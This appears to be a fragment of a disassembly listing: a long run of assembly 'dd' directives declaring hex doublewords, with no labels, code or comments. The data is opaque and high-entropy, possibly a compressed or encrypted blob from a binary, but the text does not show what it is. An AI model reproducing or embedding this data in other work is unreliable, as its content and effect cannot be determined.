		dd 35F03239h, 0E7E5D0B0h, 86387060h, 0EF5BE15Ch, 419B848h
		dd 0F0EB2744h, 5109216h, 1A00F06Ch, 0CE47EC74h,	60956311h
		dd 0F4773967h, 0C50F7D07h, 6E500E8Fh, 0F279E018h, 3EA454Ch
		dd 0C9E71613h, 100E5D71h, 400EC241h, 2A600D7Ch,	0A829044Eh
		dd 91F074EEh, 32D7EF18h, 40E2458h, 91E12209h, 8156B4Ch
		dd 0A0485F9Ch, 0A5453C09h, 0E42265B0h, 0A69844E1h, 747622B8h
		dd 29C0DEE2h, 0F90351D2h, 0D6220344h, 5066B3E1h, 2A13C1B8h
		dd 0E5EB9018h, 0B0FCF249h, 0F032235Ch, 0B2C46F90h, 54DC81EBh
		dd 0A45092E9h, 4B6DC32h, 0E80A1E5Fh, 0DB087CECh, 0EAEB8EE4h
		dd 5A581998h, 11F46D30h, 21A7090h, 0A59B477h, 0DB604EF3h
		dd 0F0146EA2h, 7720F6DDh, 8009FA42h, 8C09EC85h,	0E1DE82F7h
		dd 0BB48A4AFh, 807DF70Bh, 0A76545D0h, 0F4B53170h, 201F7B41h
		dd 8424F0h, 91096D26h, 569A3381h, 0BDBAF816h, 70964806h
		dd 79080059h, 32B8F39Eh, 0D6246FF5h, 0FA837C0Dh, 0C1625Ah
		dd 0EC141661h, 631B6F99h, 6D058676h, 0F754E758h, 0D3188Ch
		dd 0AB9EB01Ch, 514B66D7h, 4A32D500h, 2D04AC99h,	0FB050FADh
		dd 0C40B1E0h, 0D27137A1h, 0B900F0F6h, 33E1F879h, 987A82F2h
		dd 190906E0h, 0F0385591h, 0DE12C300h, 80E087F9h, 8A84026Ah
		dd 0A8EA71DFh, 647B8CC0h, 0BA3CA88h, 3B06B6Ch, 51443C10h
		dd 0F5C5AB0Ah, 0D009C64h, 69136A8Eh, 0EFF800BAh, 0AF6F0AF1h
		dd 0D800F0B2h, 8123CD3h, 6A191Ch, 0AD72A8D4h, 0D9DF1F7Eh
		dd 738B3200h, 15D68607h, 5C96F264h, 3B01243Ah, 61C95729h
		dd 0E87831D4h, 38916D68h, 8A1F033Ch, 0C4ED9A26h, 3AC2B580h
		dd 635A0962h, 0A893F8FBh, 744640ECh, 0C4ED5Eh, 0F3805613h
		dd 11D25801h, 0B5AA4500h, 941A10A1h, 4775C5Ah, 84D867C0h
		dd 0DA00C444h, 12504121h, 0EEE41FA0h, 79F40097h, 993B942Eh
		dd 14036D88h, 98B24604h, 17ADE076h, 0EE080E80h,	7263B8h
		dd 0C2557888h, 0D7170636h, 0B0684EDAh, 2368078h, 11E35898h
		dd 8AC5C392h, 0AC3063CDh, 0B4150267h, 247A0E78h, 6D5C0064h
		dd 4977CCE8h, 615B60D2h, 87F64101h, 9300867Bh, 0CCDEC525h
		dd 0F4483456h, 449CB0FCh, 0D2221638h, 896D3A6Fh, 87460F07h
		dd 7E0380EFh, 0E739484Eh, 0A3558022h, 0D86BCB82h, 0BBF2288Fh
		dd 3CB15968h, 5EB2AACFh, 0CE3026BCh, 80C192A4h,	762FB2A8h
		dd 4A44D609h, 8B7893F7h, 0B3E100ECh, 0EF06FEDEh, 8F00D170h
		dd 9D5B62DCh, 329A12h, 722478BEh, 0D3E9272Ch, 54414B8h
		dd 0ED5F1C28h, 82A19F2Ah, 9F8AA2CCh, 0D01ECB40h, 0B7D68102h
		dd 6E69745Bh, 173462Ch,	5A791A6Eh, 59AE596Fh, 0D54F4108h
		dd 78DE013h, 320044EAh,	4CD91D19h, 4F6A78Bh, 71252611h
		dd 8648C0B4h, 0DA0B367Fh, 10C86A1Ah, 92BED00h, 0D4960962h
		dd 18766410h, 12A2C500h, 84C46D93h, 0AD41039Ch,	42208356h
		dd 76E2EF0h, 0DAB53Fh
		dd 510113Bh, 0A870D23Dh, 0EE5C75A0h, 0D572004Eh, 9CB182FFh
		dd 4A7895EFh, 9F4CE702h, 0E674687Ch, 0A6730040h, 11B682C0h
		dd 0B30680EFh, 0ED2079C1h, 43853CA9h, 390ECC80h, 0C3C4A142h
		dd 0CEAC270Eh, 1A636345h, 26209049h, 80E89409h,	57B23438h
		dd 30B8ED8Fh, 5A0AB0E4h, 9426123Fh, 250B0821h, 22901109h
		dd 328D30h, 7C0F2CA5h, 54790383h, 45ED3A06h, 29EF0Ah, 2D593517h
		dd 72EAE710h, 0F941D917h, 6AA2CE05h, 4BF044CCh,	0BED05FDBh
		dd 1804448h, 27A691D7h,	671274B0h, 54896270h, 4C82B6F8h
		dd 0BE0E2C0Dh, 0E1E187Ah, 65CC6885h, 3B008329h,	0A381D1FEh
		dd 25C5C3EDh, 0C2470D8h, 132CB258h, 3EC0A6Eh, 0D5204800h
		dd 0B1B9F123h, 55093BB8h, 1BE8EB80h, 2278E090h,	28B61E6Ah
		dd 2419B009h, 6009386h,	70A629E3h, 24B26489h, 94640A87h
		dd 82394CD2h, 60B0BB09h, 88A6019h, 31278825h, 63EFCF00h
		dd 0CE299903h, 0B52F0017h, 1181A6B0h, 0F0031F4Eh, 8B067976h
		dd 408CEA8Ah, 50CB6758h, 1B230889h, 0E9E9F85Fh,	0EBD3A1B8h
		dd 0DF18D00h, 0B2CE8658h, 3E7205A3h, 47C0ABEh, 0C19739A4h
		dd 384BF98Ch, 500E3F20h, 1E00574Ch, 6381CF19h, 0C99723h
		dd 0F978319Ah, 9D9B69B9h, 1F3F2AF8h, 91F69E79h,	909FD580h
		dd 1EED36Bh, 28840562h,	2065CD32h, 3905F894h, 7A023B8Dh
		dd 0D5619040h, 25E61566h, 1CA24EEAh, 81236F74h,	59BA303Dh
		dd 1948B11h, 6CBFD102h,	0C07B1ECAh, 8860769Ch, 0DC242109h
		dd 198720FFh, 14727730h, 115CE2E0h, 0E810F8BCh,	930A5106h
		dd 8C07B710h, 0BB25B001h, 4D60E086h, 2860002Ch,	31B5D5F1h
		dd 123CF842h, 0EAAD00D2h, 0E056CAE8h, 2F130389h, 0D44A69C2h
		dd 7A2BD8E8h, 0A5E82E01h, 0EDEE9EF1h, 5F27987h,	0F0B654D7h
		dd 10B11944h, 0D079C780h, 7D15FEh, 6F4B2C5Ch, 43423AD9h
		dd 0F473D40Eh, 5C0E1729h, 1D8EF0Eh, 80AB106Eh, 54C47872h
		dd 0F3E8E001h, 9052BF88h, 4ED2CCBh, 3640002Eh, 0DFEFBAC7h
		dd 40C4BD55h, 9EE65769h, 80C8095Ch, 1FFD124Bh, 3CB71FDCh
		dd 0E277835Fh, 0C08D3E91h, 7BFB1CFCh, 22DC184Ch, 43954AE9h
		dd 5475289Ch, 97E7ADF0h, 0C241EC14h, 0AC3880D4h, 0DD5AD239h
		dd 62E50011h, 0E4D36628h, 6AB40216h, 9EDCB411h,	44327917h
		dd 6CD88086h, 0B8126FF4h, 0CB600C8h, 5F1E699h, 0A305DB4Fh
		dd 3695387Eh, 326E84C0h, 0BA65060Bh, 4972D23Fh,	0A85F5D00h
		dd 0BD2B92A6h, 0EFA61h,	3FD67991h, 53B27441h, 686BD800h
		dd 0FB768913h, 4C580011h, 0E8216D71h, 967C4B7Bh, 0ACDA2300h
		dd 20752AC8h, 0E4F8B85Fh, 0E8B9D2h, 2F9BEF71h, 68266E8Ch
		dd 0B161F875h, 0B8576D67h, 41208080h, 76E300C6h, 84E16209h
		dd 0FB0078F0h, 56CEF222h, 0F079317Ch, 672189Ch,	81637C2Ah
		dd 41DC0403h, 873648DAh, 9392C44Fh, 29EFA0C1h, 5ED1618Ch
		dd 1B004B69h, 0EAB6A316h, 3E91D8Bh, 5ABFE127h, 0B1981C3Bh
		dd 745C3A20h, 0B4F117F0h, 58142C20h, 0B3010093h, 0B0312B70h
		dd 30E55664h, 2544F19Ch, 0B0A4D1h, 0A5758ECDh, 5B9F2CF4h
		dd 3BDE281Fh, 5CC8DB45h, 0C45269C1h, 58334075h,	94D03730h
		dd 3F90A163h, 0F902D8A4h, 73F5790Fh, 8C4C9B75h,	19168B4h
		dd 9D6944C5h, 60F93D03h, 0D1883334h, 0B931C05Ch, 6A6B2E21h
		dd 76D3658h, 0FF2AD6D0h, 0A4DB85E0h, 998F0F41h,	0E0A03C31h
		dd 0C2B37AA3h, 0E4FAB900h, 0CE96024Dh, 0A9F550FDh, 0F9FF2C18h
		dd 0CFC3406Ch, 5AF45F9Bh, 664A6B79h, 0EAEB6C05h, 0DBEF7005h
		dd 247AE888h, 0A8840F8Bh, 1DC2142Bh, 972E54D2h,	915D003Bh
		dd 225AE640h, 53E77500h, 7A41089Ah, 0BFC2003Dh,	3BD53016h
		dd 0D600CC66h, 0ED39EA50h, 4E5A5E0Bh, 88E05678h, 6701319Ch
		dd 10C037B3h, 0B2C004BBh, 0EEA9C045h, 0E65F0971h, 246AA8B4h
		dd 222BA23Eh, 0DEEC5DD0h, 4A7B891Ch, 6B051E40h,	12061C8h
		dd 0C4DF1BB0h, 29076D80h, 180A4A8Ch, 0F91708D9h, 0E4303816h
		dd 9844AEh, 0CBF8A5E9h,	86DA1A33h, 0E300CCF4h, 678B47Ch
		dd 7DE0EB5Ch, 0B18B1D7h, 246C9319h, 4A00C090h, 709FEC67h
		dd 171920Ch, 16123C01h,	8691B46Eh, 4B067A11h, 5C984C29h
		dd 90201C8Eh, 0F8317E8Ch, 0F10A1718h, 4428A1h, 54DBFF0Eh
		dd 0B266B1ACh, 493B3E00h, 5CD9BA64h, 56E10751h,	0B01C084Ah
		dd 72EEA9B4h, 835820A0h, 91096D7Eh, 5683D80h, 0B45F52B4h
		dd 6329C120h, 720A5808h, 0D80400C4h, 2C4A9785h,	1380320h
		dd 0AB8FF5C2h, 0DCD078F2h, 0D5E9510Bh, 0BC60C7E1h, 2C94EA2Dh
		dd 0A2818000h, 0E0227FC1h, 0DDCA0040h, 61681371h, 0E204FE2Fh
		dd 0C9696E56h, 586DB088h, 0D4073331h, 8523FA46h, 0CC081F09h
		dd 8729EAF8h, 0BB19B300h, 0DDC5364Bh, 0BD4E00C2h, 4AD91D63h
		dd 6A0B2CAAh, 1B5EC1h, 0EBB63894h, 93891ECh, 4444B009h
		dd 6ED0331Fh, 67845340h, 0F799BFEh, 0E9508FF3h,	4D858B82h
		dd 19013046h, 90F50A57h, 0A7E05576h, 26831F88h,	2FCA053Fh
		dd 0A3DC81FAh, 0C880E286h, 3A71E10h, 60D83200h,	6F07F204h
		dd 0FA40C052h, 50572AD2h, 59388607h, 0C3C0CED0h, 24921791h
		dd 88C2E3Dh, 0D1086036h, 0B5298063h, 2EA1054Fh,	4ED29701h
		dd 507567B7h, 5209FC24h, 7700D496h, 7A78F547h, 50C81F3Ch
		dd 4059444Dh, 93D0FF91h, 48C51FF3h, 8C10AD38h, 0E9009B46h
		dd 5F7505BDh, 17C0643Ch, 0C1569C84h, 64F6B1DFh,	1C8471A0h
		dd 19560514h, 156C7045h, 2E485000h, 8CCA86h, 0D6D2790h
		dd 7B3B4A91h, 8844B4B8h, 2953081h, 7CA33081h, 0F507CC73h
		dd 0A1DC255Bh, 0DB4DE9E0h, 0F6F9010Ch, 450D1BC7h, 0E008C3h
		dd 8C582798h, 0E10B7201h, 1126B030h, 0CFA7FAEDh, 445E7678h
		dd 4072D0CBh, 33BED4C1h, 1E570036h, 26354B22h, 30005EBh
		dd 0D4E628E0h, 1D835A38h, 49F616h, 0DE14F775h, 0A7B0537Eh
		dd 72C42751h, 577B0918h, 3E610499h, 1638E0h, 0C88BE059h
		dd 0E3087E83h, 7B805F1Ch, 0C2A815CBh, 208C5960h, 0CF873DD6h
		dd 0A19E5C80h, 0B08048D0h, 5113BB7Eh, 4C00294Bh, 0BE4ECAD8h
		dd 23DA4C99h, 0FB35C900h, 0ABD47AEh, 2CB05E4Ch,	858A0EAh
		dd 0A06D0060h, 0A8025D20h, 0F4003E6Eh, 950E3FE3h, 18FE01Dh
		dd 0F128AC4Bh, 8014CE91h, 29BE0D39h, 9CE0E3F0h,	54EC44A8h
		dd 10DCC054h, 3DD7230h,	0CA64A817h, 0B80187Eh, 601819D6h
		dd 8541E1F8h, 0C4B4025Dh, 62080A72h, 13E0EF01h,	95271C2Ch
		dd 3F9CF820h, 90018C5h,	0D579A23Eh, 3DBD130h, 6FFFAFBFh
		dd 15A89B26h, 3A091A95h, 3B3C22h, 5B69EF08h, 0BF400035h
		dd 452A72Dh, 72E48039h,	19283003h, 3ADFF859h, 1D802391h
		dd 332EF9B7h, 7E00ABCFh, 12947FBAh, 66C8860h, 9BE2094Dh
		dd 92E538FDh, 70C885A9h, 0C2E42C41h, 0C72401B2h, 0F8D76542h
		dd 9501E0D8h, 44FF1183h, 0AC605D28h, 22B20538h,	12E6D37h
		dd 7A187C90h, 0F19DE81Ch, 609547Ch, 0AD3EE5h, 5BB2145Ch
		dd 70A50059h, 0E99E741Eh, 0F82C7179h, 20657819h, 5FA61A81h
		dd 0BE6D0D4h, 0AB98D402h, 13EDD811h, 0EA7FB06Eh, 0FD060EA7h
		dd 34807E73h, 0E7796719h, 80A20201h, 5AD7311Ch,	68E4C831h
		dd 1070C2DEh, 0A4535F78h, 5ECE9204h, 7A58405Eh,	71867607h
		dd 5B0A93Ch, 6E5BB8CDh,	486704E4h, 2412E0C0h, 71FC0895h
		dd 6A81549Eh, 82AEB390h, 0FDE9C30h, 47D7B060h, 5A65F161h
		dd 5EB46C80h
		dd 55F8384Eh, 7B03CE0h,	10062C8Ch, 5014DA40h, 0B5E40644h
		dd 0A1537667h, 0B458102h, 54056A38h, 0DC0F69CCh, 0D4AE980h
		dd 30A0C5EAh, 44B6705Ah, 0A02C098Ah, 6AC0A49Dh,	0BA791B2Eh
		dd 727E5Bh, 62D27AC2h, 0BC769BAAh, 0D8EC3938h, 44EBB8A4h
		dd 0E13F581Eh, 0A8D0ACABh, 91D2F640h, 0D97D02D8h, 98EF38FAh
		dd 0D5B08480h, 0E800568Ch, 80611CBAh, 74C7DB1Fh, 457A40h
		dd 0C03FE1FFh, 8A0FBFA1h, 0F1269A00h, 1080DD7h,	70A202F9h
		dd 91F4D930h, 1C165460h, 0A7E0E901h, 0E5EFB479h, 91801068h
		dd 0EC0454FCh, 0FB07E0B9h, 0D10C645Ah, 537C5A67h, 4FD83050h
		dd 1D000385h, 37BAE758h, 769B5EAAh, 60B36FF1h, 86B040D7h
		dd 1E1F7145h, 0DAE4EA05h, 58C03B8Fh, 94CCF287h,	0E2D881C8h
		dd 0EC90C94Eh, 2E2818F1h, 6342EC26h, 0E02A063h,	16CB048Dh
		dd 1CCCC1FFh, 0E0BB12EFh, 92D7E500h, 57851638h,	556804D4h
		dd 0EC9202FAh, 0E0D2E4h, 0E0572D78h, 806CD69Bh,	0F78CBA54h
		dd 759541CFh, 0BCE11D80h, 0F3BE5D87h, 694C94A1h, 272BC243h
		dd 84A07F70h, 0EB1A7093h, 8109DF16h, 0C20A8446h, 0F30145A8h
		dd 0FE202Fh, 10A7E9D4h,	173D2C1Ah, 22AD13ACh, 0F851DA94h
		dd 0C8DC570Ch, 1AFC4040h, 0CC0F4CF2h, 49E4F017h, 0B8A8B9F2h
		dd 0CD4F70h, 0E09C1C60h, 246AD5Bh, 2987FF01h, 0AF596862h
		dd 7C502271h, 179D2F1h,	60FC5DE0h, 40BAF280h, 3CF0D708h
		dd 0C4D252h, 7FBD1003h,	0C3E7BCh, 0E120BE56h, 817DE204h
		dd 1DB0787Fh, 0CDA9AF19h, 8441B6A8h, 0EDED3E70h, 0CA09D06Dh
		dd 20E210B1h, 5ECCDCC3h, 2D266280h, 283FBED7h, 40CC4CA2h
		dd 74A1BBD2h, 0F073106Eh, 3F27E691h, 2D8E16C1h,	4560A152h
		dd 98137659h, 7B217800h, 4C67A65Eh, 41D24B0Dh, 9E273C44h
		dd 0E840F463h, 177F400h, 98CE257Ch, 961C63Eh, 0AE0199F6h
		dd 81C81637h, 3C6D71D8h, 0EC6E1900h, 6310DAE0h,	39689530h
		dd 2FE336Fh, 0BF5D2609h, 0E8E0D715h, 1004F5B9h,	1C47B23h
		dd 0BDC180D7h, 0A46091A8h, 0EBA905C5h, 0C007AD81h, 5519A378h
		dd 2CE39F58h, 0AB004C2Ch, 306D2A74h, 86130082h,	1C09717Ch
		dd 17E8BC19h, 24548059h, 0E026E4E9h, 6488F310h,	9874D080h
		dd 12C531DFh, 0E0718717h, 0FF006948h, 52A90C73h, 175FA4DBh
		dd 404909Dh, 0C04A14E9h, 2E76A8CBh, 3EF338h, 7C3B38Eh
		dd 0B46D2Fh, 0CF34D5B9h, 19272911h, 0C9E47202h,	9B631B64h
		dd 1790BFD8h, 12FFB639h, 0E63AC256h, 6944066Ch,	1311D9C9h
		dd 0A060B475h, 0C70159E8h, 7D22AA8Ch, 0DCE0DB72h, 0C4025439h
		dd 4080BE1Ah, 5CCB3197h, 22C18100h, 1210FA1Dh, 29A0008Ch
		dd 0E764B65Ah, 81008DE8h, 39E4B86Dh, 266FF1Dh, 5A3B1EB3h
		dd 0E84812F8h, 0E01F2A4Eh, 96C07C7Bh, 9A85329Ch, 0CAD300B1h
		dd 3A01B273h, 20011579h, 507C13DBh, 8040FA33h, 724534F3h
		dd 191462C2h, 1871B706h, 0A4A93C00h, 8610B9h, 0BDE67F44h
		dd 0F754DFF0h, 2C83814Bh, 4DD1025Dh, 41A01337h,	0A880B663h
		dd 1039C781h, 0EFC609CAh, 0B11490E2h, 80AB0F6Dh, 0A5008F07h
		dd 0C76B4EC1h, 84F33A0Fh, 0F62DE08Ch, 12A76860h, 0F0F8B6h
		dd 0EA0B74FCh, 70009FEDh, 0D0489015h, 0F77A50h,	0F696C806h
		dd 5A62C2D5h, 0B867762Dh, 0D9588h, 593E69E7h, 0FF724508h
		dd 0D0C86D4Ah, 0F0F75279h, 1409633Fh, 380278ADh, 0C749681h
		dd 2928B283h, 34B5C0E3h, 0CB681E72h, 200A938Eh,	0E685800Ch
		dd 25001178h, 8403D36Dh, 98DF9645h, 23934BA0h, 0C698637Ch
		dd 140066A0h, 6E8BD56Ch, 2FA8FABEh, 0C8200A0Dh,	73ECA5EFh
		dd 0AB5D6700h, 40024128h, 5A58000Fh, 8059B83Bh,	76256857h
		dd 6C4E7Eh, 5D01D35h, 0C4C8387Ch, 6FFE8E00h, 7AA452E9h
		dd 0F53400CCh, 0C686631Ah, 77168358h, 0E090D229h, 72959D27h
		dd 0D09E00BEh, 91AA32C2h, 4003002h, 226E4B5Ch, 7FB2114Eh
		dd 256713Eh, 0AB0149C0h, 0C451CC88h, 70BF3200h,	0A748D2h
		dd 0C25573BAh, 0E2017242h, 0B8979099h, 146F4408h, 0A8C0A80Dh
		dd 0ACB014FAh, 0CD8AAF09h, 3D066C2h, 7A7F799Fh,	67A0A1E8h
		dd 0DE00A87Bh, 0F9700E3Bh, 0E9B88FC0h, 9D50402Fh, 85EC3DD6h
		dd 1FB08600h, 0FD9A06E0h, 0C204071Ch, 69AD167Eh, 0EB0980D1h
		dd 52045274h, 0A7008CD1h, 2B7519AFh, 0D500ADF6h, 9DE61621h
		dd 0BA4B7355h, 4ED89CD4h, 2C982F09h, 0E6FF0102h, 7B1354C0h
		dd 5B791870h, 102F88B1h, 0DB32C4h, 78A23EF1h, 0F0684975h
		dd 38830B1Fh, 0D00839C9h, 0E510A0F4h, 0E71C024h, 513E873h
		dd 8101EC07h, 0D6E0EE69h, 925970D5h, 0A96B13D8h, 2DFCC810h
		dd 76EC3003h, 8398BDDCh, 0E09FF25Ah, 89EDD740h,	3852EA86h
		dd 0AFE8E403h, 90388CC3h, 7E374B16h, 0BC5A004Ah, 9B054E59h
		dd 517A9215h, 0A5DC0F9Fh, 7008036Ah, 657684F4h,	6C03C07Fh
		dd 0C3002C24h, 0F98D75FEh, 4AFA695Ah, 0F42499F8h, 798F097h
		dd 8AD71B03h, 0B03C888Ch, 385217F9h, 0D39C5FCEh, 0F8D50453h
		dd 956C82FBh, 90C710DAh, 2F11D7h, 8CCD0CABh, 3F66B8D3h
		dd 4AF10B06h, 0B8D0841Fh, 0E6148F08h, 264078F3h, 60B85919h
		dd 0BC60B85Ah, 1D0B2C03h, 0AFD4D569h, 0D0C63583h, 41A854h
		dd 0DFEEA94Ch, 0F31881B2h, 8C00409Eh, 0B36D84D2h, 0FA10E2ACh
		dd 0C09826C6h, 4C124A8h, 0AC6B597Eh, 94E62F28h,	9E1E003Ch
		dd 0D46079B7h, 0FC90812Ch, 5B5A7544h, 6F882861h, 39EAD000h
		dd 1DD5245Eh, 627A7CB0h, 0E9EB5872h, 0E010DCD9h, 98CB185h
		dd 64116FC4h, 4CAC4219h, 0B6106D11h, 69019CC4h,	2BB2A288h
		dd 0A85CFED1h, 8166446Eh, 56C8189Dh, 928026E6h,	958C0344h
		dd 0EC91630Eh, 0F85C21DFh, 0C6827978h, 0FC1700E8h, 75D3886h
		dd 757FC132h, 9D2AA0Fh,	0A19F006Eh, 279F655h, 0B6B14720h
		dd 0C2DFD898h, 70080225h, 9148E0Ah, 54A414DFh, 98BEF093h
		dd 0B81A5A93h, 6A090EA6h, 0D83C80D6h, 36D46E70h, 0A8B0904Bh
		dd 18C03AF6h, 0A6F1A14h, 421E00F6h, 39DDB3ECh, 0E4E6A174h
		dd 0CF6DE509h, 0C9108198h, 0D0D44147h, 0BA2700CAh, 0F861F0F9h
		dd 819FB631h, 79D3548h,	10594084h, 8C50237h, 69DC0084h
		dd 18DE0CA0h, 8FDFB009h, 6CC60030h, 0A3784CD6h,	99DCC89Ch
		dd 46A8C087h, 320C82D7h, 952130C0h, 66249F5h, 227C2A9Eh
		dd 1340E8E2h, 103A4287h, 0C8888BEDh, 0D207E379h, 77213895h
		dd 21004CC9h, 4F23F290h, 6E5BC2D7h, 164A3444h, 7BDC9C88h
		dd 534E0E55h, 79638D0Fh, 284F5F0Bh, 98A9A080h, 0B739C069h
		dd 64E68A1Fh, 43B0480Fh, 8D2FA14Ah, 983018B4h, 3FF020B6h
		dd 6F588502h, 405719D6h, 195F9B4h, 0E66C42E5h, 2E29DAAEh
		dd 0E4717000h, 0A01B6825h, 13487680h, 70C221h, 7C3A27E8h
		dd 6C60D0CCh, 249EEE20h, 205253B1h, 0C1CEE9C2h,	40A4561Ah
		dd 7A751846h, 4088B707h, 1B712272h, 3C2A4D74h, 0D5014604h
		dd 986CB1CCh, 0D07DFA01h, 0AFF10F03h, 85A8106Ah, 0DD1E0481h
		dd 3D05AB1Ah, 70C9E3F0h, 5CE7D9F0h, 0B2108064h,	214B008Fh
		dd 0E0FB6777h, 65B40F9Ch, 0B98014CDh, 0F0B3C9A7h, 784010B7h
		dd 0CD750090h, 0E1071E83h, 260B9BADh, 10092281h, 0EC918498h
		dd 15A500FBh, 751D2FFCh, 1CF0A2EBh, 97326D01h, 66A15A7Dh
		dd 11C25C31h, 9042132Bh, 26BBDA10h, 3EF7F04Ah, 953C0076h
		dd 93D5CE34h, 0E9171B22h, 8305FECh, 26665Ah, 0ED439237h
		dd 8709C36h, 0AE1EE000h
		dd 7404998Dh, 0FAC9F50Bh, 0B4AA35DCh, 0C4834E18h, 1598974Dh
		dd 0D1002D3Ah, 0E0C177BFh, 266D1F86h, 16B87C0Ah, 0F9DC4A78h
		dd 0BDA541C8h, 712DECFBh, 2E894E00h, 70147556h,	0B5E13E15h
		dd 3FB41065h, 0C4D0C04h, 70CD10A9h, 32915C30h, 7CE67100h
		dd 0C4A858B4h, 4D248A0Eh, 28C5ADCFh, 0DE901E60h, 0F400E228h
		dd 57BC3B30h, 7419736h,	0C8EF20E3h, 0FA8430FBh,	0DE035596h
		dd 789F067Fh, 0CC7EA804h, 71010093h, 75B55832h,	0F201C0C4h
		dd 0D1ADE5BDh, 64606E72h, 0FE520F0Eh, 0A1A03473h, 0C92A23E6h
		dd 73E540Eh, 0BCA6409Ah, 3363DAh, 37181D0Eh, 14A9A0C8h
		dd 2587CE0Fh, 0DD208062h, 7DC42Bh, 0E2E8CC75h, 0F57683E4h
		dd 80952600h, 3BE9A567h, 3EFB0024h, 25D704B6h, 0E500A9FEh
		dd 1E90B068h, 14295ACDh, 9C7706AFh, 0F72F3Eh, 1820FFB8h
		dd 8E048D2Ch, 0B0A10701h, 14BACC6Bh, 0FE45FEF0h, 8DBC007Ah
		dd 0D90BEB9Dh, 2701C07Ch, 5A4B22FFh, 0F9EC4CB1h, 47FE7Dh
		dd 372BC4BBh, 6A46D09Eh, 0AEBC8000h, 79F1539Fh,	6FE610h
		dd 49EB3113h, 1474D13Ch, 0D24B2800h, 0D5DCF2ECh, 64810046h
		dd 48066977h, 0DB009780h, 34A70AC4h, 0AF4E13h, 265CD294h
		dd 87BFC2A2h, 0FFEC5E00h, 0C4EB82F4h, 0D3ED00FEh, 6C2D3719h
		dd 790030B4h, 89B05ABEh, 49175ECBh, 6F001813h, 0D4E68629h
		dd 72000A92h, 0D9D15859h, 0C8E8C0h, 42534AC2h, 0F1EFBBAFh
		dd 0B83F3000h, 68CC3B4Bh, 270C3DDAh, 79743400h,	1BAD57F9h
		dd 0A638C100h, 9ACA66C2h, 2890F2D8h, 1FF0BFC5h,	0A0C4E0h
		dd 49501160h, 66B8799Ch, 0CEBEE400h, 186919F4h,	5A581F10h
		dd 95918080h, 7E2BAAEBh, 0FC1CC50Eh, 180240F6h,	3A6B43h
		dd 0CDD5C8A7h, 7B41172Eh, 0F3A5B100h, 0DD0A058Fh, 0F17EB9h
		dd 689820E2h, 6CC465DEh, 70AF8100h, 4393273Ch, 41331762h
		dd 30BEC8Bh, 64E46FC6h,	0F46EF0BAh, 50C091Dh, 0B400581Fh
		dd 6DCB3E41h, 0F908E730h, 5CF87EEDh, 0AC037B8Ch, 752DE425h
		dd 960C0F88h, 5D6E0E00h, 0C1E0D459h, 28C60AE9h,	39A84F15h
		dd 1125B3Dh, 9E90006Dh,	10670E1Eh, 58AAD11Ch, 75948F40h
		dd 30805665h, 20D8AFBBh, 8239DCBFh, 2AC4945h, 0B66ACB10h
		dd 0A9CBC370h, 0C34B84Ch, 211E1DC4h, 8B4340A0h,	8C12E926h
		dd 28C5CA00h, 605A8EB5h, 0CB79029Fh, 4CBAB978h,	700DFF61h
		dd 0ED0725D5h, 0D433CEE2h, 0B0879544h, 74E392D0h, 23F500ACh
		dd 7CB3F9FDh, 3814B066h, 905708h, 0C70F7F3Ch, 0D2CD22h
		dd 0ABED26F4h, 11B7C98Ah, 77312306h, 1D50E4E3h,	0C08B983Fh
		dd 2FCB78BDh, 0ECE176A7h, 0AE04E2B6h, 0FD31EE7Ah, 0D929E480h
		dd 409CE0BAh, 0A84D51DFh, 0E477037Ch, 98D5DA71h, 124B0E3Fh
		dd 4EF62234h, 0FBC00DE0h, 361AD22Ah, 2E2C8858h,	960066E4h
		dd 7DEDBFA4h, 309F867h,	0A53EB7C4h, 5000E3B2h, 3FA718DFh
		dd 9DCC89h, 0A9B6C0EEh,	0AE3BC999h, 3A50BF00h, 0DC7EAFCBh
		dd 3D8F009Eh, 2F99F1CFh, 0DFF042A6h, 0D11A130Ah, 68009732h
		dd 592A3906h, 8B9606F4h, 0C055D678h, 73006978h,	0CEFE82A5h
		dd 3DC51BAAh, 58007066h, 0BBCD43BDh, 4E09ED15h,	20EEC3D7h
		dd 594C5120h, 0DE211F9Ah, 0FAA7C020h, 0D9C48E66h, 0CAC2924h
		dd 26497604h, 548B8D6h,	0E0EB17B9h, 3D9821DEh, 0DCF0F704h
		dd 2701F385h, 8C28D34Ah, 0A050E1FBh, 5C946h, 3E3717A3h
		dd 24123BAEh, 3478FE01h, 58DCE9FBh, 0BAD844h, 0C010F1AAh
		dd 46F87381h, 0D7000892h, 1D8BE676h, 9051EE17h,	0D3C2627h
		dd 72AE004Ch, 0B52B12BDh, 4E916301h, 49DC8AFCh,	8747D8FFh
		dd 0B6E50083h, 0CCF69CF1h, 920FEE82h, 0A07375ACh, 0C78CA7DEh
		dd 1B380023h, 68FD3517h, 7BFA3188h, 0D22FE700h,	0F531577h
		dd 0AA0D00ECh, 61077E94h, 5D0C0A27h, 0F8848FE6h, 4E769Fh
		dd 0A4899C2Bh, 0D97DEA64h, 8EB2BF05h, 0B09042E6h, 73BE723h
		dd 9428B8ABh, 7EC0B04Fh, 8900BB12h, 2FE42BB9h, 26357318h
		dd 3D394DBAh, 0CE1EDE00h, 3E4E055Bh, 0B49B8F01h, 2F8BFA70h
		dd 0F146520h, 45999461h, 0F00AC0DEh, 24392ABEh,	0E0E65501h
		dd 7115B0BCh, 0F8E824h,	0A8B3214Ah, 0ED825A88h,	40FFB0F4h
		dd 24AEF610h, 0A6038C92h, 0B8D0918Ah, 0D2CCA0AAh, 3A18DEA2h
		dd 85E3106Eh, 20FEB68Fh, 0B1E23318h, 5C5DCEE9h,	0EE004C7Bh
		dd 70D60287h, 5B882288h, 0CE1820CFh, 277EE04h, 76406D21h
		dd 0DFB0B7A2h, 9234B60Eh, 2C75DBh, 9388A92Fh, 5032542Eh
		dd 0CD70CE3h, 9AA6A733h, 3A1FD8B0h, 5D009DEAh, 2CBCC2D3h
		dd 1D34F068h, 80109F7Ah, 18D8AD1Fh, 67007835h, 0B313F52Eh
		dd 3A199904h, 900089B9h, 25F1740Ah, 98007554h, 0E33F3818h
		dd 0BDA1B6Ah, 4462ADA5h, 1D02087h, 0F81F85E7h, 74006859h
		dd 0DFF3704h, 98507BFAh, 0ED47C94h, 9BC7B20Ah, 0B79DE460h
		dd 0DC00EB19h, 0AE80F27Ah, 93B7CCFh, 0D0C5D43Fh, 6A618300h
		dd 9600F537h, 647A9025h, 41C903h, 337CAEB2h, 26CFE0B4h
		dd 848A6F00h, 94F8FDC3h, 62440012h, 432434AEh, 30EC4DE9h
		dd 0E0D4BCA1h, 0B055D2Bh, 54F1AB23h, 0B201FCD0h, 926C00ADh
